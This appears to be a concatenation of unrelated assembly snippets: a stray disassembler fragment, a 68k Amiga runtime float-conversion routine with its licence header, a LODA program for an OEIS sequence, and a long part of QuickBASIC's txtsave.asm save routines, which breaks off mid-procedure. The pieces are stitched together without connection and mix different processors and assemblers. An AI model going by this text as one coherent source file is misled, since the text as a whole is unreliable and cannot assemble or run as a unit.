.space 23
jr 0x2734 ; @@ 0x2771 18 .instr
; @@ 0x2772 c1
; 0x2772 warning: overlapping instruction: 'pop bc'
|
*
* $Id: sas_cxv45.asm,v 1.1.1.1 2004-07-26 16:31:04 obarthel Exp $
*
* :ts=8
*
* Adapted from reassembled SAS/C runtime library code.
*
* Portable ISO 'C' (1994) runtime library for the Amiga computer
* Copyright (c) 2002-2015 by Olaf Barthel <obarthel (at) gmx.net>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* - Neither the name of Olaf Barthel nor the names of contributors
* may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
section text,code
xdef __CXV45
__CXV45
MOVE.L D0,D1
SWAP D1
AND.W #$7FFF,D1
CMP.W #$80,D1
BLT lbC00003E
CMP.W #$7F80,D1
BGE lbC000060
ASR.L #3,D0
AND.L #$8FFFFFFF,D0
ADD.L #$38000000,D0
SWAP D1
AND.L #7,D1
ROR.L #3,D1
lbC00003C
RTS
lbC00003E
TST.L D1
BEQ.S lbC00003C
MOVEM.L D2-D5,-(SP)
SWAP D0
MOVE.W D0,D4
AND.W #$8000,D4
MOVE.W #$39D0,D5
MOVEQ #0,D0
SWAP D1
JSR __CXNRM5(PC)
MOVEM.L (SP)+,D2-D5
RTS
lbC000060
ASR.L #3,D0
OR.L #$7FF00000,D0
SWAP D1
AND.L #7,D1
ROR.L #3,D1
RTS
__CXNRM5
CMP.L #$20,D0
BGE lbC0000B0
SWAP D0
SWAP D1
MOVE.W D1,D0
CLR.W D1
SUB.W #$100,D5
BGE.S __CXNRM5
BRA lbC0000F4
__CXTAB5
dc.b 5
dc.b 4
dc.b 3
dc.b 3
dc.b 2
dc.b 2
dc.b 2
dc.b 2
dc.b 1
dc.b 1
dc.b 1
dc.b 1
dc.b 1
dc.b 1
dc.b 1
dc.b 1
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
lbC0000B0
MOVEQ #0,D3
CMP.L #$2000,D0
BGE lbC0000C0
LSL.L #8,D0
ADDQ.W #8,D3
lbC0000C0
SWAP D0
TST.W D0
BNE lbC0000CC
ROL.L #4,D0
ADDQ.W #4,D3
lbC0000CC
MOVEQ #0,D2
MOVE.B __CXTAB5(PC,D0.W),D2
ROL.L D2,D0
ADD.W D2,D3
SWAP D0
MOVE.L D1,D2
LSL.L D3,D1
ROL.L D3,D2
EOR.W D1,D2
EOR.W D2,D0
LSL.W #4,D3
SUB.W D3,D5
BLT lbC0000F4
SWAP D0
ADD.W D5,D0
OR.W D4,D0
SWAP D0
RTS
lbC0000F4
NEG.W D5
LSR.W #4,D5
MOVE.L D0,D2
LSR.L D5,D0
ROR.L D5,D2
LSR.L D5,D1
EOR.L D0,D2
EOR.L D2,D1
SWAP D0
EOR.W D4,D0
SWAP D0
RTS
end
|
; A082045: Diagonal sums of number array A082043.
; 1,2,6,20,59,150,336,680,1269,2218,3674,5820,8879,13118,18852,26448,36329,48978,64942,84836,109347,139238,175352,218616,270045,330746,401922,484876,581015,691854,819020,964256,1129425,1316514,1527638
mov $16,$0
mov $18,$0
add $18,1
lpb $18,1
clr $0,16
mov $0,$16
sub $18,1
sub $0,$18
mov $13,$0
mov $15,$0
add $15,1
lpb $15,1
mov $0,$13
sub $15,1
sub $0,$15
mov $9,$0
mov $11,2
lpb $11,1
mov $0,$9
sub $11,1
add $0,$11
sub $0,1
mov $1,$0
sub $1,1
mul $0,$1
mov $6,6
add $6,$0
mul $0,2
mov $1,$3
fac $1
add $1,$0
mov $4,$6
mul $6,$1
mov $7,$6
add $7,$4
mov $1,$7
mov $12,$11
lpb $12,1
mov $10,$1
sub $12,1
lpe
lpe
lpb $9,1
mov $9,0
sub $10,$1
lpe
mov $1,$10
div $1,12
add $14,$1
lpe
add $17,$14
lpe
mov $1,$17
|
TITLE txtsave.asm - ASCII Save Functions
;==========================================================================
;
;Module: txtsave.asm - ASCII Save Functions
;System: Quick BASIC Interpreter
;
;=========================================================================*/
include version.inc
TXTSAVE_ASM = ON
includeOnce architec
includeOnce context
includeOnce heap
includeOnce lister
includeOnce names
includeOnce opcontrl
includeOnce opid
includeOnce opmin
includeOnce opstmt
includeOnce parser
includeOnce pcode
includeOnce qbimsgs
includeOnce rtinterp
includeOnce rtps
includeOnce rttemp
includeOnce scanner
includeOnce txtmgr
includeOnce txtint
includeOnce util
includeOnce ui
includeOnce variable
includeOnce edit
assumes DS,DATA
assumes SS,DATA
assumes ES,NOTHING
ASC_CRLF EQU 0A0Dh ;ASCII Carriage return/Line Feed
ASC_TAB EQU 9 ;ASCII Tab
sBegin DATA
EXTRN tabStops:WORD ;defined in edit manager
EXTRN b$PTRFIL:WORD ;defined by runtime - current channel ptr
CrLf DW ASC_CRLF ;for file line termination
oMrsSaveDecl DW 0 ;used by SaveDeclares
sEnd DATA
sBegin CODE
;Table of opcodes used to search for DECLARE or CALL statements
;
tOpDecl LABEL WORD
opTabStart DECL
opTabEntry DECL,opStDeclare
opTabEntry DECL,opStCall
opTabEntry DECL,opStCalls
opTabEntry DECL,opStCallLess
opTabEntry DECL,opEot
sEnd CODE
EXTRN B$BUFO:FAR
EXTRN B$KILL:FAR
sBegin CP
assumes cs,CP
;*************************************************************
; ushort SaveTxdCur(ax:otxStart)
; Purpose:
; ASCII save the contents of the current text table
; Entry:
; ax = text offset to start saving text
; Exit:
; ax = size of last line output (=2 if trailing blank line)
; ps.bdpSrc is used
; Exceptions:
; Can cause runtime error (Out of memory, I/O errors)
;
;*************************************************************
SaveTxdCur PROC NEAR
DbChk Otx,ax
push si
push di
sub di,di ;Init cbLastLine = 0
mov [otxListNext],ax ;ListLine() updates [otxListNext]
test [mrsCur.MRS_flags2],FM2_NoPcode ; document file?
je GetOtxEndProg ; file is measured in Otxs, not lines
DbAssertRel [otxListNext],e,0,CP,<SaveTxdCur:Not starting at the begining of file>
push [mrsCur.MRS_pDocumentBuf]
call S_LinesInBuf ; get # lines in document buffer
jmp short SetMaximumSave
GetOtxEndProg:
call OtxEndProg ;ax = otx to Watch pcode
SetMaximumSave:
xchg si,ax ;si = otx to Watch pcode
StLoop:
mov ax,[otxListNext] ;ax=offset for next line to list
cmp ax,si
DJMP jae SlDone ;brif done with this text table
test [mrsCur.MRS_flags2],FM2_NoPcode ; document file?
je ListPcodeLine ; brif not, let lister get line
push [mrsCur.MRS_pDocumentBuf] ; document table to list from
push ax ; line to list
push ps.PS_bdpSrc.BDP_cbLogical ; length of buffer
push ps.PS_bdpSrc.BDP_pb ;pass ptr to dest buf
call S_cbGetLineBuf ; AX = cBytes in line
inc [otxListNext] ; bump pointer to next line
mov [cLeadingSpaces],0 ; start with no leading spaces
mov bx,[ps.PS_bdpSrc.BDP_pb]; BX = ptr to 0 terminated string
CheckNextChar:
cmp byte ptr [bx],' ' ; Is it a space
jne GotLine ; brif not, say that we got line
inc [cLeadingSpaces] ; indicate another space
inc bx ; point to next character
jmp CheckNextChar ; check it for a space
ListPCodeLine:
push ax ;pass offset to ListLine
PUSHI ax,<DATAOFFSET ps.PS_bdpSrc> ;pass dst buf ptr to listline
call ListLine ;ax=char count
inc ax ;test for UNDEFINED
jne NotOmErr ;brif out-of-memory
jmp OmErrCP
NotOmErr:
dec ax ;restore ax = byte count
GotLine:
cmp [fLsIncluded],0
jne StLoop ;brif line was part of $INCLUDE file
test mrsCur.MRS_flags2,FM2_EntabSource ;do we need to entab leading
;blanks?
jz NoEntab ;brif not
mov cl,[cLeadingSpaces] ;cl = count of leading spaces
or cl,cl ;any leading spaces?
jnz EntabLeadingSpaces ;brif so, replace with tabs
NoEntab:
mov bx,[ps.PS_bdpSrc.BDP_pb]
EntabCont:
; There is currently no need to call UpdChanCur here, because
; there is no chance of having nested open files during ascii save.
DbAssertRel b$PTRFIL,ne,0,CP,<SaveTxdCur:Invalid channel>
; Call OutLine as we can not guarentee that the buffer
; pointed to by BX contains at least two more bytes.
; This is slower, but will not trash the heaps.
mov di,ax ; DI = new "cbLastLine"
inc di ; account for CRLF
inc di
call OutLine ; Print line and CRLF
DJMP jmp SHORT StLoop
SlDone:
xchg ax,di ;ax = cb last line emitted
pop di
pop si
ret
SaveTxdCur ENDP
; We have a line with leading spaces which needs to be entabbed.
; We will convert spaces to tabs in the buffer, and return the
; new buffer char count, and a ptr to the start of the buffer.
;
; Entry:
; ax = count of chars in line buffer
; cl = count of leading spaces
; Exit:
; ax = adjusted count of chars in line buffer
; bx = ptr to first char in buffer
; Uses:
; bx,cx,dx
EntabLeadingSpaces:
push ax ;preserve buffer char count
xchg ax,cx
sub ah,ah ;ax = cLeadingSpaces
mov dx,ax ;remember cLeadingSpaces
mov cx,[tabStops] ;get user defined tabstop settings
; User interface guarantees tabStops will not be set to 0
DbAssertRel cx,nz,0,CP,<tabStops=0 detected in Ascii save>
div cl ;al=tab count, ah=space count
mov bx,[ps.PS_bdpSrc.BDP_pb] ;bx=ptr to line buffer
add bx,dx ;bx=ptr to first non-leading space
sub dl,al
sub dl,ah ;dx=excess space in buffer
sub bl,ah ;backup over remaining spaces
sbb bh,0
xchg ax,cx
sub ch,ch ;cx=tab count
jcxz NoTabs ;brif none to replace
mov al,ASC_TAB
TabLoop:
dec bx ;back up a char
mov [bx],al ;replace space with tab
loop TabLoop
NoTabs:
pop ax ;recover buffer char count
sub ax,dx ;adust for removed spaces
jmp EntabCont
;*************************************************************
; OutLine, OutCrLf
; Purpose:
; OutLine - Output line and CR-LF to current file
; OutCrLf - Output CR-LF to current file
; Entry:
; bx points to 1st byte to output
; ax = byte count
;
;*************************************************************
OutLine PROC NEAR
; There is currently no need to call UpdChanCur here, because
; there is no chance of having nested open files during ascii save.
DbAssertRel b$PTRFIL,ne,0,CP,<OutLine:Invalid channel>
push ds ;pass segment of buffer
push bx ;pass offset of buffer
push ax ;pass length of buffer
call B$BUFO ;output line via runtime
;fall into OutCrLf
OutLine ENDP
OutCrLf PROC
; There is currently no need to call UpdChanCur here, because
; there is no chance of having nested open files during ascii save.
DbAssertRel b$PTRFIL,ne,0,CP,<OutCrLf:Invalid channel>
push ds
PUSHI ax,<dataOFFSET CrLf>
PUSHI ax,2
call B$BUFO ;output CR/LF via runtime
ret
OutCrLf ENDP
;*************************************************************
; RelShBuf
; Purpose:
; Release temporary text table used by SaveProcHdr.
; Called when we're done saving, or when an error occurs.
;
;*************************************************************
RelShBuf PROC NEAR
mov [txdCur.TXD_bdlText_cbLogical],0
;so TxtDiscard won't examine deleted txt
call TxtDiscard ;discard temporary text table
call TxtActivate ;make module's text table cur again
mov [ps.PS_bdpDst.BDP_cbLogical],0 ;release space held by temp bd
ret
RelShBuf ENDP
;*************************************************************
; ushort SaveProcHdr(ax:otxProcDef)
; Purpose:
; ASCII save the current procedure's header.
;
; Entry:
; ax = otxProcDef = offset into procedure's text table to opBol for line
; containing SUB/FUNCTION statement. 0 if this table has no
; SUB/FUNCTION statement yet.
;
; Exit:
; ps.bdpSrc is used
; grs.fDirect = FALSE
; ax = 0 if no error, else Standard BASIC error code (i.e. ER_xxx)
;
; Exceptions:
; Can cause runtime error (Out of memory, I/O errors)
;
;*************************************************************
SaveProcHdr PROC NEAR
push si ;save caller's si,di
push di
mov di,ax ;di = otxProcDef
push [grs.GRS_oPrsCur] ;pass current oPrs to PrsActivate below
;fill tEtTemp[] with DEFTYP's from start of proc table to SUB line
mov ax,di ;ax = otxProcDef
mov bx,dataOFFSET tEtTemp ;bx -> type table
call OtxDefType
;move everything up to proc def from procedure's to temp text table
PUSHI ax,<dataOFFSET ps.PS_bdpDst>
push di ;pass otxProcDef
call BdRealloc
or ax,ax
je JE1_ShOmErr ;brif out-of-memory error
PUSHI ax,<dataOFFSET txdCur.TXD_bdlText>
SetStartOtx ax
push ax
push [ps.PS_bdpDst.BDP_pb]
push di ;pass otxProcDef
call BdlCopyFrom
;Now we create a temporary text table for saving the synthetically
;generated procedure header. We must go through the following steps
; to do this:
; PrsDeactivate() --- causes module's text table to be made active
; TxtDeactivate() --- causes no text table to be made active
; TxtCurInit() --- make temp text table active
; put synthetically generated pcode into txdCur
; ASCII save this pcode buffer to the file
; TxtDiscard() --- discard temporary text table
; TxtActivate() --- make module's text table current again
; PrsActivate(oPrsSave)
;[flagsTM.FTM_SaveProcHdr] is non-zero while in critical state
; within function SaveProcHdr. Tells SaveFile's error cleanup
; to take special action.
or [flagsTM],FTM_SaveProcHdr ;if err, remember to clean up
call PrsDeactivate ;make module's text table active
call TxtDeactivate ;causes no text table to be made active
call TxtCurInit ;make temp text table active
je ShOmErr ;brif out-of-memory error
;emit synthetic DEFxxx statements as transition from end of last
;text table to procedure definition line
PUSHI ax,<dataOFFSET ps.PS_tEtCur>
PUSHI ax,<dataOFFSET tEtTemp>
SetStartOtx ax ;insert at start of text
call InsertEtDiff
JE1_ShOmErr:
je ShOmErr ;brif out-of-memory error
call OtxEndProg ;ax = otx to Watch pcode
xchg si,ax ; = offset beyond synthetic DEFxxx stmts
;Append everything up to SUB line to temp table
push si ;pass otx to Watch pcode
push di ;pass otxProcDef
call TxtMoveUp
je ShOmErr ;brif out-of-memory error
PUSHI ax,<dataOFFSET txdCur.TXD_bdlText>
push si ;pass otx to Watch pcode
push [ps.PS_bdpDst.BDP_pb]
push di ;pass otxProcDef
call BdlCopyTo
call SqueezeDefs ;takes parm in si
;if setting of $STATIC/$DYNAMIC differs between procedure's header
;and where procedure will be listed in source file,
;insert pcode to change the state for the procedure,
;Note: fLsDynArrays's value will be changed by ListLine() when it
; lists the line emitted by InsertDynDiff (if any)
SetStartOtx ax ;insert at start of text
mov dh,[fLsDynArrays] ;dh = old $STATIC/$DYNAMIC state
mov dl,[fProcDyn] ;dl = new $STATIC/$DYNAMIC state
call InsertDynDiff
je ShOmErr ;brif out of memory error
SetStartOtx ax ;start saving at start of text
call SaveTxdCur ;save procedure's header to file
call RelShBuf ;release temp text tbl
and [flagsTM],NOT FTM_SaveProcHdr ;reset critical section flag
;oPrs parm was pushed on entry to this function
call PrsActivateCP
sub ax,ax ;return no-error result
;al = error code
ShExit:
mov [ps.PS_bdpDst.BDP_cbLogical],0 ;release space held by temp bd
or al,al ;set condition codes for caller
pop di ;restore caller's si,di
pop si
ret
ShOmErr:
pop ax ;discard oPrs
mov al,ER_OM ;return al = out-of-memory error
jmp SHORT ShExit
SaveProcHdr ENDP
;Cause runtime error "Out of memory"
OmErrCP:
mov al,ER_OM
call RtError
;*************************************************************
; ONamOtherOMrs
; Purpose:
; Given an oNam in current mrs, convert it to an oNam
; in another mrs (which has a different name table).
; Entry:
; grs.oMrsCur = source oMrs
; ax = source oNam
; dx = target oMrs
; Exit:
; ax = target oNam (0 if out of memory error)
; flags set based upon return value.
;
;*************************************************************
cProc ONamOtherOMrs,<NEAR>
localV bufNam,CB_MAX_NAMENTRY
cBegin
cmp [grs.GRS_oMrsCur],dx
je OnOExit ;brif source mrs = target mrs
xchg ax,bx ;bx = oNam (save until CopyONamPb)
push di
push [grs.GRS_oRsCur] ;save caller's oRs -for RsActivate below
mov di,dx ;di = target oMrs
lea ax,bufNam
push ax ;save ptr to string
; string ptr in ax
; oNam to CopyONamPb in bx
cCall CopyONamPb,<ax,bx> ; ax = byte count
push ax ;save byte count
cCall MrsActivateCP,<di> ;activate target mrs
pop cx ;cx = byte count
pop ax ;ax = ptr to bufNam
call ONamOfPbCb ;ax = target oNam (ax=Pb, cx=Cb)
xchg di,ax ;di = target oNam
call RsActivateCP ;re-activate caller's oRs
; parm was pushed on entry
xchg ax,di ;ax = target oNam
pop di ;restore caller's es,di
OnOExit:
or ax,ax ;set condition codes
cEnd
;*************************************************************
; SaveDeclares
; Purpose:
; Generate synthetic DECLARE stmts for forward referenced
; SUBs and FUNCTIONs in this module as follows:
; Pass1:
; For every prs in system,
; reset FTX_TmpDecl
; if prs type is FUNCTION and prs is in mrs being saved,
; set FTX_TmpRef bit, else reset it
; Pass2:
; For every text table in this module
; Search text table for a reference to a SUB or FUNCTION
; if opStDeclare ref found
; set FTX_TmpDecl bit
; else if CALL, CALLS, implied CALL
; set FTX_TmpRef bit
; Pass3:
; For every prs in system,
; if FP_DEFINED and FTX_TmpRef bit are set, and FTX_TmpDecl bit is not,
; copy pcode for definition to module, changing opcode to opStDeclare,
; and changing the oNam for each formal parm and explicitly
; listing the TYPE.
;
; Exit:
; grs.fDirect = FALSE
; ax = 0 for out of memory error.
; flags set on value in ax
;*************************************************************
;----------------------------------------------------------------
; For every prs with a text table in system,
; reset FTX_TmpDecl
; if prs type is FUNCTION and prs is in mrs being saved,
; set FTX_TmpRef bit, else reset it
;----------------------------------------------------------------
cProc SdPass1,<NEAR>
cBegin
and [txdCur.TXD_flags],NOT (FTX_TmpDecl OR FTX_TmpRef)
;start out by turning both bits off
cmp [prsCur.PRS_procType],PT_FUNCTION
jne Sd1ResetBits ;exit if SUB
mov ax,[oMrsSaveDecl]
cmp ax,[prsCur.PRS_oMrs]
jne Sd1ResetBits ;exit if Func defined in another module
;for func in module, assume it is referenced. For external func
;refs, even qbi requires user have a DECLARE stmt for it.
or [txdCur.TXD_flags],FTX_TmpRef ;turn on FTX_TmpRef bit
Sd1ResetBits:
mov ax,sp ;return TRUE for ForEachCP
cEnd
;-----------------------------------------------------------------
; For every text table in module being saved:
; Search text table for a reference to a SUB or FUNCTION
; if opStDeclare ref found
; set FTX_TmpDecl bit
; else if CALL, CALLS, implied CALL
; set FTX_TmpRef bit
;-----------------------------------------------------------------
cProc SdPass2,<NEAR>,<si>
cBegin
SetStartOtx si ;otxCur = start of text
Sd2Loop:
push si
PUSHI ax,<CODEOFFSET tOpDecl>
call TxtFindNextOp ;ax = otx to next opStDeclare opcode
cmp dl,DECL_opEot
je Sd2Exit
xchg si,ax ;si = new otxCur
GetSegTxtTblCur ;es = seg addr of text table
mov ax,es:4[si] ;ax = oPrs field
call PPrsOPrs ; es:bx points to prs structure
;all other regs preserved
test BPTRRS[bx.PRS_flags],FP_DEFINED
je Sd2Loop ;don't count references to native-code
; procedures, only those defined with
; a SUB/FUNCTION stmt
mov al,FTX_TmpRef
.errnz DECL_opStDeclare
or dl,dl ;dl = 0 for DECLARE, non-zero for CALL
jne Sd2SetBit ;brif CALL
mov al,FTX_TmpDecl
Sd2SetBit:
or BPTRRS[bx.PRS_txd.TXD_flags],al
jmp SHORT Sd2Loop
Sd2Exit:
mov ax,sp ;return TRUE for ForEachCP
cEnd
;***
;GetWord
;Purpose:
; This header block added as part of revision [5]
;Preserves:
; All but ES, BX, and SI
;******************************************************************************
GetWord PROC NEAR
GetSegTxtTblCur ;es = seg addr of text table
lods WORD PTR es:[si] ;ax = cntEos
ret
GetWord ENDP
MoveWord PROC NEAR
call GetWord
jmp Emit16_AX ;emit cntEos operand
; and return to caller
MoveWord ENDP
;------------------------------------------------------------------------------
; For every prs with a text table in system,
; if FP_DEFINED and FTX_TmpRef bit are set, and FTX_TmpDecl bit is not,
; copy pcode for definition to module, changing opcode to opStDeclare,
; and changing the oNam for each formal parm and explicitly
; listing the TYPE.
;
;------------------------------------------------------------------------------
cProc SdPass3,<NEAR>,<si,di>
localW oNamParm
cBegin
test [prsCur.PRS_flags],FP_DEFINED
je J1_Sd3Exit ; don't count references to
; undefined procedures
test [txdCur.TXD_flags],FTX_TmpRef
je J1_Sd3Exit ;don't generate DECLARE for text tbl
; with no references in this module
test [txdCur.TXD_flags],FTX_TmpDecl
je EmitDecl ;don't generate DECLARE for prs which
J1_Sd3Exit:
jmp Sd3Exit ; already has a declare in this prs
EmitDecl:
mov ax,[prsCur.PRS_otxDef] ; ax = otx to opStSub/Function
mov si,ax ;ax = si = text offset
call OtxDefTypeCur ;fill ps.tEtCur with default types
; at definition of procedure
mov ax,opBol
call Emit16_AX
mov ax,opStDeclare
call Emit16_AX
lodsw ;si=si+2 (points to cntEos parm)
.errnz DCL_cntEos
call MoveWord ;move cntEos from es:[si] to ps.bdpDst
.errnz DCL_oPrs - 2
call MoveWord ;move oPrs from es:[si] to ps.bdpDst
.errnz DCL_atr - 4
call GetWord ;ax = procAtr from es:[si]
push ax ;save proc atr
.errnz DCLA_procType - 0300h
and ah,DCLA_procType / 100h ;ah = procType
cmp ah,PT_FUNCTION
jne NoProcType ;brif this is not a FUNCTION
.errnz DCLA_Explicit - 0080h
or al,al
js NoProcType ;brif it was explicitly typed
push [prsCur.PRS_ogNam]
call ONamOfOgNam ; ax = oNam of this prs
DbAssertRel ax,nz,0,CP,<txtsave.asm: ONamOfOgNam returned ax = 0>
cCall OTypOfONamDefault,<ax> ; ax = default oTyp (ax)
or al,DCLA_Explicit ;remember this was Explicitly typed
pop dx
mov ah,dh ;ax = new procAtr
push ax
;top of stack = procAtr
NoProcType:
call Emit16 ;emit proc atr operand
.errnz DCL_cParms - 6
call GetWord ;ax = cParms operand from es:[si]
mov di,ax ;di = cParms
call Emit16_AX ;emit cParms operand
inc di
Sd3ParmLoop:
dec di ;decrement parm count
jz Sd3Exit ;brif done with parms
.errnz DCLP_id - 0
call GetWord ;ax = parm's oNam or oVar
cCall oNamoVarRudeOrParse,<ax>;if we text not in rude map oVar
; to oNam
mov [oNamParm],ax
mov dx,[oMrsSaveDecl]
call ONamOtherOMrs ;ax = equivalent oNam in module dx
; (es is preserved)
je Sd3OmExit ;brif OM error (AX=0) to stop ForEach
call Emit16_AX ; oVar in SS_PARSE or SS_EXECUTE
.errnz DCLP_atr - 2 ;Formal parm attributes (PATR_xxx)
call GetWord ;ax = formal parm atr
push ax ;save parmAtr
.errnz PATR_asClause AND 0FFh
test ah,PATR_asClause / 100h
jne Sd3AsClause ;brif 'id AS xxx'
.errnz PATR_explicit AND 0FFh
or ah,PATR_explicit / 100h ;in DECLARE, force it to be explicit
Sd3AsClause:
call Emit16_AX
; if not SS_RUDE, it is oTyp of user type.
.errnz DCLP_oTyp - 4 ;Type of the formal parm
call GetWord ;ax = oNam for <user type> if > ET_MAX
pop bx ;bx = parmAtr
.errnz PATR_asClause AND 0FFh
.errnz PATR_explicit AND 0FFh
test bh,(PATR_explicit OR PATR_asClause) / 100h
jne NotImpl ;brif not implicitly typed
push [oNamParm]
call OTypOfONamDefault ;ax = default oTyp for parm (ax)
NotImpl:
cmp ax,ET_MAX
jbe NotUserTyp ;brif it is a primitive type
;Since declares are inserted before any type declarations, we cannot
;insert any references to a type name in the declare. SOOO, we
;just always use as ANY for synthetic declares with user defined
;types.
sub ax,ax ;ax = AS ANY
NotUserTyp:
call Emit16_AX
jmp SHORT Sd3ParmLoop
Sd3Exit:
mov ax,sp ;return TRUE for ForEachCP
Sd3OmExit:
cEnd
;-------------------------------------------------------------
; SaveDeclares - main code
;-------------------------------------------------------------
PUBLIC SaveDeclares ;for debugging only
cProc SaveDeclares,<NEAR>,<si>
cBegin
DbAssertRelB [txdCur.TXD_scanState],e,SS_RUDE,CP,<SaveDeclares:TxdCur not in SS_RUDE>
call PrsDeactivate ;make module's txt tbl active
mov ax,[grs.GRS_oMrsCur]
mov [oMrsSaveDecl],ax
test [mrsCur.MRS_flags2],FM2_Include ;is this an include mrs?
jne SdGoodExit ;don't insert decls into include
;mrs's. Re-Including could break
;a previously running program.
;For each prs in system which has a text table:
mov al,FE_PcodeMrs+FE_PcodePrs+FE_SaveRs
mov bx,CPOFFSET SdPass1 ;bx = adr of function to call
call ForEachCP
;For each text table in module being saved:
mov al,FE_CallMrs+FE_PcodePrs+FE_SaveRs
mov bx,CPOFFSET SdPass2 ;bx = adr of function to call
call ForEachCP
sub ax,ax
mov [ps.PS_bdpDst.BDP_cbLogical],ax
call SetDstPbCur
;For each prs in system which has a text table:
mov al,FE_PcodeMrs+FE_PcodePrs+FE_SaveRs
mov bx,CPOFFSET SdPass3 ;bx = adr of function to call
call ForEachCP
je SdExit ;brif out-of-memory
SetStartOtx si ;insert DECLAREs at start of module
call TxtInsert
je SdExit ;brif out-of-memory
SetStartOtx si ;otxInsert = start of text
mov bx,[ps.PS_bdpDst.BDP_cbLogical] ;pass cbInserted in bx
or bx,bx ;was any pcode inserted?
je NoDeclaresInserted ;brif not
or [mrsCur.MRS_flags2],FM2_Modified ;set modified bit so compiler
;will compile same source as QBI for
;MakeExe.
push bx ;save cbInsert
call DrawDebugScrFar ;update list windows for inserted text
pop bx ;restore bx=cbInsert
NoDeclaresInserted:
call TxtInsUpdate
SdGoodExit:
mov ax,sp ;return non-zero (not out-of-memory)
SdExit:
or ax,ax ;set condition codes
cEnd
;*************************************************************
; SaveAllDeclares
; Purpose:
; Generate synthetic DECLARE stmts for forward referenced
; SUBs and FUNCTIONs for every module in the system.
; Called by UI before MakeExe to ensure that Compiler
; will compile same source as interpreter. This solves
; the situation for a QB2/3 program is loaded and works
; correctly for QBI, but will not compile in BC. If we
; have inserted synthetic declares, or altered the pcode
; in some way, we need to make sure that the dirty bit
; gets set for the module.
; Entry:
; none.
; Exit:
; grs.fDirect = FALSE
; ax = 0 for no error, else QBI standard error code.
;*************************************************************
cProc SaveAllDeclares,<PUBLIC,FAR>
cBegin
;For each mrs in system which has a pcode text table:
mov al,FE_PcodeMrs+FE_CallMrs+FE_SaveRs
mov bx,CPOFFSET SaveDeclares ;bx = adr of function to call
call ForEachCP
mov ax,ER_OM ;default Out of memory error
je SaveAllDeclaresExit ;brif out-of-memory
sub ax,ax
SaveAllDeclaresExit:
cEnd
;*************************************************************
; ushort AsciiSave()
; Purpose:
; ASCII save the current module (with all its procedures)
;
; Exit:
; grs.fDirect = FALSE
; ps.bdpSrc is used
; ax = 0 if no error, else Standard BASIC error code (i.e. ER_xxx)
;
; Exceptions:
; Can cause runtime error (Out of memory, I/O errors)
;
;*************************************************************
cProc AsciiSave,<NEAR>,<si>
cBegin
call AlphaBuildORs ; build sorted list of all oRs's
or ax,ax ;set flags based on returned value
mov ax,ER_OM ;prepare to return Out-of-memory error
je AsDone ;brif error
call PrsDeactivate ;make module's txt table active
sub ax,ax
mov [fLsDynArrays],al ;default state is $STATIC
DbAssertRel ax,e,0,CP,<AsciiSave: ax!=0> ;SaveTxdCur needs ax=0
;ax = otx of 1st line in current text table to be written to file
AsLoop:
call SaveTxdCur ;save module/procedure text table
test [mrsCur.MRS_flags2],FM2_NoPcode ; document file?
jne NotModuleText ; brif so, never add blank line
cmp ax,2 ;was last line a blank one?
jbe NotModuleText ;brif so
call OutCrLf ;output a blank line so comment blocks
;are associated with correct text tbls
NotModuleText:
call OtxDefTypeEot ;fill ps.tEtCur with default types
; at end of module/procedure
call NextAlphaPrs ;activate next procedure in module
or ax,ax ;set flags
je AsDone ;brif no more procedures in module
SetStartOtx ax
test [prsCur.PRS_flags],FP_DEFINED
je ProcNotDefined ;brif no SUB/FUNCTION stmt
push [prsCur.PRS_otxDef] ;push offset to opStSub/opStFunction
call OtxBolOfOtx ;ax = text offset for 1st line of SUB
ProcNotDefined:
mov si,ax ;si = ax = otxProcDef
call SaveProcHdr ;save proc hdr(ax) (may contain some
; synthetically generated statements
jne AsDone ;brif error
xchg ax,si ;ax = otxProcDef
jmp SHORT AsLoop
;al = 0 if no error, else standard QBI error code
AsDone:
cEnd ;AsciiSave
;****************************************************************************
;SaveModName - save the name of the current module to the file
;
;Purpose:
; Used by Save to save the name of each module in a .MAK file.
;Entry:
; The .MAK file is open to current channel
; si points to static buffer holding name of the MAK file's directory.
; di points to static buffer which can be used to hold module's name
;Exceptions:
; Assumes caller called RtSetTrap to trap runtime errors.
;
;****************************************************************************
SaveModName PROC NEAR
mov ax,di ; pDest (parm to CopyOgNamPbNear)
mov bx,[mrsCur.MRS_ogNam] ; ogNam (parm to CopyOgNamPbNear)
call CopyOgNamPbNear ; copies name to buffer, returns
; ax = cbName
mov bx,di
add bx,ax ; add cbName
mov BYTE PTR [bx],0 ; zero terminate
;MakeRelativeFileSpec(szFilename, szMakDirectory)
cCall MakeRelativeFileSpec,<di,si> ;convert szFilename to relative
; path from szMakDirectory if possible
cCall CbSz,<di> ;ax = length of result path
;ax = size of line to output
mov bx,di ;bx points to start of line to output
call OutLine ;output the line
ret
SaveModName ENDP
;****************************************************************************
; FNotMainModule
; Purpose:
; Called via ForEachCP to see if there is any pcode module
; that is not the main module (i.e. to see if this is a
; multiple-module program.
; Exit:
; Return 0 in ax if current module is not main-module
; else return non-zero in ax
;
;****************************************************************************
FNotMainModule PROC NEAR
mov ax,[grs.GRS_oMrsCur]
cmp ax,[grs.GRS_oMrsMain]
mov ax,sp ;prepare to return non-zero
